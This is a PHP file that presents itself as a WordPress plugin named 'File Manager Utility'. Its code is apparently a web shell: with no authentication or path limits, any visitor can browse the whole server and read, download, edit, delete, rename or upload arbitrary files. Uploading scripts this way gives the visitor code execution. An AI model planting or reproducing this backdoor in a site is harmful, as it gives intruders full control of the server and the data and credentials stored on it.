﻿<?php
/*
Plugin Name: File Manager Utility
*/
?>
<?php

$currentDir = realpath($_GET['dir'] ?? getcwd());
$action = $_GET['action'] ?? '';
$file = isset($_GET['file']) ? realpath($_GET['file']) : '';


if ($action === 'download' && $file && file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}

if ($action === 'view' && $file && file_exists($file)) {
echo "<body style='background:#000;color:#fff;font-family:monospace;'><h3>Viewing: " . htmlspecialchars($file) . "</h3>";
echo "<pre>" . htmlspecialchars(file_get_contents($file)) . "</pre>";
echo "<a href='?dir=" . urlencode(dirname($file)) . "' style='color:#0ff;'>Back</a></body>";
exit;
}

if ($action === 'edit' && $file && file_exists($file)) {
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
file_put_contents($file, $_POST['content']);
echo "<span style='color:lime;'>Saved successfully.</span><br><br>";
}

echo "<!DOCTYPE html><html><head><title>Edit File</title>
<style>
body { background: #000; color: #fff; font-family: monospace; margin: 20px; }
textarea {
width: 100%;
height: 500px;
background: #111;
color: #fff;
border: 1px solid #333;
padding: 10px;
font-family: monospace;
font-size: 14px;
border-radius: 4px;
}
button {
background: #222;
color: #fff;
border: 1px solid #555;
padding: 8px 16px;
cursor: pointer;
margin-top: 10px;
}
a {
color: #0ff;
text-decoration: none;
display: inline-block;
margin-top: 20px;
}
</style></head><body>";

echo "<h2>Editing: " . htmlspecialchars(basename($file)) . "</h2>";
echo "<form method='post'>
<textarea name='content'>" . htmlspecialchars(file_get_contents($file)) . "</textarea><br>
<button type='submit'>💾 Save</button>
</form>";
echo "<a href='?dir=" . urlencode(dirname($file)) . "'>← Back to Dir</a>";

echo "</body></html>";
exit;
}

if ($action === 'delete' && $file && file_exists($file)) {
unlink($file);
header("Location: ?dir=" . urlencode(dirname($file)));
exit;
}

if ($action === 'rename' && $file && file_exists($file)) {
$dir = dirname($file);
$oldName = basename($file);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$newName = basename($_POST['new_name']);
$newPath = $dir . DIRECTORY_SEPARATOR . $newName;

if (!preg_match('/^[\w\-. ]+$/', $newName)) {
echo "<span style='color:red;'>Invalid filename.</span>";
} elseif (file_exists($newPath)) {
echo "<span style='color:red;'>A file with that name already exists.</span>";
} elseif (rename($file, $newPath)) {
echo "<span style='color:green;'>File renamed successfully.</span><br>";
echo "<a href='?dir=" . urlencode($dir) . "' style='color:#0ff;'>Back</a>";
exit;
} else {
echo "<span style='color:red;'>Rename failed.</span><br>";
}
}

echo "<body style='background:#000;color:#fff;font-family:monospace;'>";
echo "<h3>Renaming: " . htmlspecialchars($oldName) . "</h3>
<form method='post'>
New name: <input type='text' name='new_name' value='" . htmlspecialchars($oldName) . "'><br><br>
<button type='submit'>Rename</button>
</form>
<a href='?dir=" . urlencode($dir) . "' style='color:#0ff;'>Cancel</a></body>";
exit;
}

if (!empty($_FILES['upload'])) {
$target = $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']);
if (move_uploaded_file($_FILES['upload']['tmp_name'], $target)) {
echo "<span style='color:green;'>Uploaded successfully.</span><br>";
} else {
echo "<span style='color:red;'>Upload failed.</span><br>";
}
}

echo "<!DOCTYPE html><html><head><title>File Manager</title> <style>
body { background: #000; color: #fff; font-family: monospace; }
a { text-decoration: none; }
.green { color: #0f0; }
.yellow { color: #ff0; }
.red { color: #f00; }
.blue { color: #0af; }
li a:hover { text-decoration: underline; }
</style></head><body>";

echo "<h2>Dir of " . htmlspecialchars($currentDir) . "</h2>";
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='upload'>
<button type='submit'>Upload</button>
</form><br>";

echo "<ul>";
$parent = dirname($currentDir);
if ($parent && $parent !== $currentDir) {
echo "<li><a href='?dir=" . urlencode($parent) . "' style='color:#0ff;'>Parent Directory</a></li>";
}

foreach (scandir($currentDir) as $item) {
if ($item === '.' || $item === '..') continue;
$fullPath = $currentDir . DIRECTORY_SEPARATOR . $item;
$encoded = urlencode($fullPath);

if (is_file($fullPath)) {
echo "<li title='" . htmlspecialchars($item) . "'>" . htmlspecialchars($item);
echo " | <a href='?action=rename&file=$encoded' class='green'>Rename</a>";
echo " | <a href='?action=edit&file=$encoded' class='yellow'>Edit</a>";
echo " | <a href='?action=delete&file=$encoded' class='red' onclick='return confirm(\"Delete this file?\");'>Delete</a>";
echo " | <a href='?action=download&file=$encoded' class='blue'>Download</a></li>";
} else {
echo "<li><a href='?dir=$encoded' style='color:#0ff;' title='" . htmlspecialchars($item) . "'>" . htmlspecialchars($item) . "/</a></li>";
}
}
echo "</ul>";

echo "</body></html>";

?>
